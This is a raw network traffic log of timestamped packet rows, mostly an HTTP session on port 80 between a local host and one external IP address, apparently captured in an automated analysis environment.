Nov 25, 2024 18:28:36.509495974 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509533882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509546041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509577990 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509596109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509608030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509618998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509629965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509639978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509644032 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509650946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509656906 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509685993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509758949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509771109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509782076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509792089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509799957 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509802103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509830952 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509835005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509841919 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509846926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509856939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509871960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509882927 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509882927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509893894 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509911060 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509921074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509923935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509932995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509943008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509953022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509963036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509974003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509980917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.509984970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509994984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.509996891 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510005951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510015965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510019064 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510025978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510060072 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510114908 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510795116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510807037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510817051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510828972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510857105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510857105 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510858059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510870934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510881901 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510893106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510900974 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510910988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510921001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510926008 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510931969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510941982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510988951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.510998011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.510998011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511001110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511025906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511034966 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511045933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511054993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511056900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511068106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511079073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511085033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511085033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511090994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511101007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511111975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511111975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511121988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511131048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511133909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511145115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511145115 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511163950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511172056 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511176109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511199951 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511529922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511543036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511554956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511581898 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511609077 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511699915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511703014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511707067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511718035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511724949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511730909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511742115 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511754990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511766911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511778116 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511792898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511799097 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511835098 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511857033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511904955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511917114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511926889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511938095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511948109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511954069 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511959076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511969090 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511976957 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.511979103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511991024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.511997938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512001991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512037992 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512052059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512063980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512073994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512084007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512094021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512105942 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512106895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512114048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512126923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512130022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512140989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512151003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512161970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512166977 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512171984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512180090 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512185097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512195110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512206078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512212038 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512217045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512227058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512229919 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512240887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512248039 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512253046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512263060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512274027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512284040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512284040 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512310028 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512327909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512578964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512592077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512638092 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512698889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512710094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512727976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512739897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512751102 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512763023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512764931 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512773037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512784004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512790918 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512794018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512805939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512809992 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512815952 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512828112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512847900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512851954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512864113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512873888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512886047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512893915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512896061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512902021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512907982 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512917995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512928963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512933969 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512939930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512950897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512962103 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512969971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512980938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.512981892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.512991905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513005018 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.513005018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513015985 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513027906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513030052 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.513039112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513050079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513052940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.513061047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513072014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513072014 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.513082027 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513092995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.513108015 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.513134003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.514062881 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.514686108 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.514693975 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.515358925 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.515372992 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.515487909 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.515506983 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.515847921 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.515855074 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.515930891 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:36.515935898 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:36.555835962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.555882931 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.630337000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.630359888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.630422115 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.630503893 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.630518913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.630589962 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.631578922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.631625891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.631669998 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.632072926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.632085085 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.632138968 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.632795095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.632909060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.632947922 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.633479118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.633491039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.633553028 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.634196043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.634519100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.634771109 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.634934902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.635176897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.635651112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.635687113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.635757923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.635807037 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.636562109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.636574984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.636631966 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.637254953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.637603045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.637655020 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.638035059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.638309956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.638355970 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.638773918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.639003038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.639292955 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.639518023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.639677048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.639719963 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.640377998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.641041994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.641098976 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.641197920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.641208887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.641247988 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.641997099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.642009974 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.642046928 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.642591000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.642817020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.643336058 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.643364906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.643909931 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.643960953 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.644120932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.644134045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.644176960 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.644915104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.644927025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.644984961 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.645668030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.645817995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.645865917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.646374941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.646697044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.646744013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.647161961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.647447109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.648051023 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.648072004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.648245096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.648288965 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.648775101 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.648787022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.648828983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.649460077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.649713993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.649763107 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.650324106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.650392056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.651053905 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.651053905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.651278973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.651909113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.651915073 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.652924061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.652936935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.652967930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.652991056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.653033018 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.653465986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.653815031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.653852940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.654042006 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.654055119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.654102087 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.654757977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.654870987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.655555010 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.655602932 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.656348944 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.656361103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.656400919 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.656429052 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.657104969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.657116890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.657169104 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.659308910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.659533024 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.659562111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.659574986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.659607887 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.659643888 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.660284042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.661048889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.661062002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.661108017 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:36.661175966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:36.661617041 CET	80	49752	185.215.113.16	192.168.2.6
